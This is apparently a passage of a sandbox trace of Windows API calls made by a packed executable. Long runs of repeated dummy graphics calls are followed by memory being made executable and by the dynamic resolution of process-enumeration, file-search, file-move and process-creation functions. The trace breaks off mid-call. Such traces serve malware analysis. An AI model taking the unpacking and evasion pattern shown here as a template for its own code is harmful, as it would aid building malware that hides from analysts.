SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.057] FillPath (hdc=0x0) returned 0 [0030.057] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.057] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.057] GradientFill () returned 0x0 [0030.057] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.058] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.058] GradientFill () returned 0x0 [0030.058] BeginPath (hdc=0x0) returned 0 [0030.058] FillPath (hdc=0x0) returned 0 [0030.058] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.059] GradientFill () returned 0x0 [0030.059] BeginPath (hdc=0x0) returned 0 [0030.059] FillPath (hdc=0x0) returned 0 [0030.059] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.059] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.093] VirtualProtect (in: lpAddress=0x544eb0, dwSize=0x9458, flNewProtect=0x40, lpflOldProtect=0x19fe8c | out: lpflOldProtect=0x19fe8c*=0x4) returned 1 [0030.093] GetProcAddress (hModule=0x76bc0000, lpProcName="LoadLibraryA") returned 0x76bdd8d0 [0030.093] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76bc0000 [0030.093] GetProcAddress (hModule=0x76bc0000, lpProcName="VirtualAlloc") returned 0x76bd8b70 [0030.093] GetProcAddress (hModule=0x76bc0000, lpProcName="VirtualProtect") returned 0x76bd8c50 [0030.093] GetProcAddress (hModule=0x76bc0000, lpProcName="VirtualFree") returned 0x76bd8c70 [0030.094] GetProcAddress (hModule=0x76bc0000, lpProcName="GetVersionExA") returned 0x76bd9fe0 [0030.094] GetProcAddress (hModule=0x76bc0000, lpProcName="TerminateProcess") returned 0x76bdfbc0 [0030.094] GetVersionExA (in: lpVersionInformation=0x19edb4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x544eb0, dwMinorVersion=0x19ee24, dwBuildNumber=0x0, dwPlatformId=0xbf91703e, szCSDVersion="\x10©S") | out: lpVersionInformation=0x19edb4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0030.094] VirtualAlloc (lpAddress=0x0, dwSize=0x11400, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0030.095] VirtualProtect (in: lpAddress=0x400000, dwSize=0x16000, flNewProtect=0x40, lpflOldProtect=0x19fe40 | out: lpflOldProtect=0x19fe40*=0x2) returned 1 [0030.134] VirtualFree (lpAddress=0x430000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0030.135] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76bc0000 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="SetFilePointer") returned 0x76be6530 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="VirtualFree") returned 0x76bd8c70 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="GetFileAttributesW") returned 0x76be6340 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="ReadFile") returned 0x76be64a0 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="MoveFileW") returned 0x76bda770 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="lstrcpyW") returned 0x76bfd410 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="SetFileAttributesW") returned 0x76be6510 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="GetDriveTypeW") returned 0x76be6300 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="VerSetConditionMask") returned 0x771e53c0 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="WaitForSingleObject") returned 0x76be6110 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="GetTickCount") returned 0x76be57f0 [0030.135] GetProcAddress (hModule=0x76bc0000, lpProcName="OpenProcess") returned 0x76bd92b0 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="GetSystemDirectoryW") returned 0x76bd9a90 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="TerminateThread") returned 0x76bdfcb0 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="Sleep") returned 0x76bd77b0 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="TerminateProcess") returned 0x76bdfbc0 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="VerifyVersionInfoW") returned 0x76bd7960 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="WaitForMultipleObjects") returned 0x76be60f0 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="lstrcmpiW") returned 0x76bd7540 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="ExpandEnvironmentStringsW") returned 0x76bdc8c0 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="CreateProcessW") returned 0x76bda510 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="SetHandleInformation") returned 0x76be5f50 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="ExitThread") returned 0x771f2570 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="MultiByteToWideChar") returned 0x76bd2d60 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="CreatePipe") returned 0x76bd0570 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="Process32FirstW") returned 0x76bdee30 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="Process32NextW") returned 0x76bdc9b0 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="lstrcmpiA") returned 0x76bd7610 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="InitializeCriticalSection") returned 0x771e95f0 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="FindFirstFileW") returned 0x76be6250 [0030.136] GetProcAddress (hModule=0x76bc0000, lpProcName="lstrcmpW") returned 0x76bd78d0 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="FindClose") returned 0x76be61d0 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="FindNextFileW") returned 0x76be6290 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="GetNativeSystemInfo") returned 0x76bda410 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="GetComputerNameW") returned 0x76be3e90 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="GetDiskFreeSpaceW") returned 0x76be62e0 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="GetWindowsDirectoryW") returned 0x76be4cc0 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="GetVolumeInformationW") returned 0x76be6450 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="LoadLibraryA") returned 0x76bdd8d0 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="CreateThread") returned 0x76bd9700 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="CloseHandle") returned 0x76be5f20 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="lstrcatW") returned 0x76bfd320 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="CreateFileMappingW") returned 0x76bd91e0 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="GetLastError") returned 0x76bd2db0 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="GetTempPathW") returned 0x76be6420 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="CreateFileW") returned 0x76be6180 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="GetModuleFileNameW") returned 0x76bd9560 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="WriteFile") returned 0x76be6590 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="GetModuleHandleW") returned 0x76bd9660 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="UnmapViewOfFile") returned 0x76bd94b0 [0030.137] GetProcAddress (hModule=0x76bc0000, lpProcName="MapViewOfFile") returned 0x76bd8c10 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="CreateMutexW") returned 0x76be5fe0 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="GetFileSize") returned 0x76be6360 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="GetEnvironmentVariableW") returned 0x76bd9540 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="lstrcpyA") returned 0x76bde320 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="GetModuleHandleA") returned 0x76bd9640 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="VirtualAlloc") returned 0x76bd8b70 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x76be7510 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="lstrlenW") returned 0x76bd2d80 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="GetProcAddress") returned 0x76bd7940 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="GetProcessHeap") returned 0x76bd7910 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="HeapFree") returned 0x76bd25e0 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="HeapAlloc") returned 0x771cda90 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="lstrlenA") returned 0x76be3a30 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="lstrcatA") returned 0x76bdefc0 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="ExitProcess") returned 0x76be74f0 [0030.138] GetProcAddress (hModule=0x76bc0000, lpProcName="IsProcessorFeaturePresent") returned 0x76bd9680 [0030.138] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74500000 [0030.138] GetProcAddress (hModule=0x74500000, lpProcName="GetMessageW") returned 0x74533230 [0030.138] GetProcAddress (hModule=0x74500000, lpProcName="LoadCursorW") returned 0x74517740 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="BeginPaint") returned 0x74534ea0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="DestroyWindow") returned 0x745356f0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="TranslateMessage") returned 0x7451b9d0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="RegisterClassExW") returned 0x74518ee0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="LoadIconW") returned 0x74517710 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="SetWindowLongW") returned 0x74511830 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="EndPaint") returned 0x74534ec0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="GetForegroundWindow") returned 0x745350f0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="wsprintfW") returned 0x7452ddf0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="ShowWindow") returned 0x745352a0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="CreateWindowExW") returned 0x745191c0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="SendMessageW") returned 0x745138f0 [0030.139] GetProcAddress (hModule=0x74500000, lpProcName="DispatchMessageW") returned 0x74513e40 [0030.139] GetProcAddress (hModule=0x74500000, 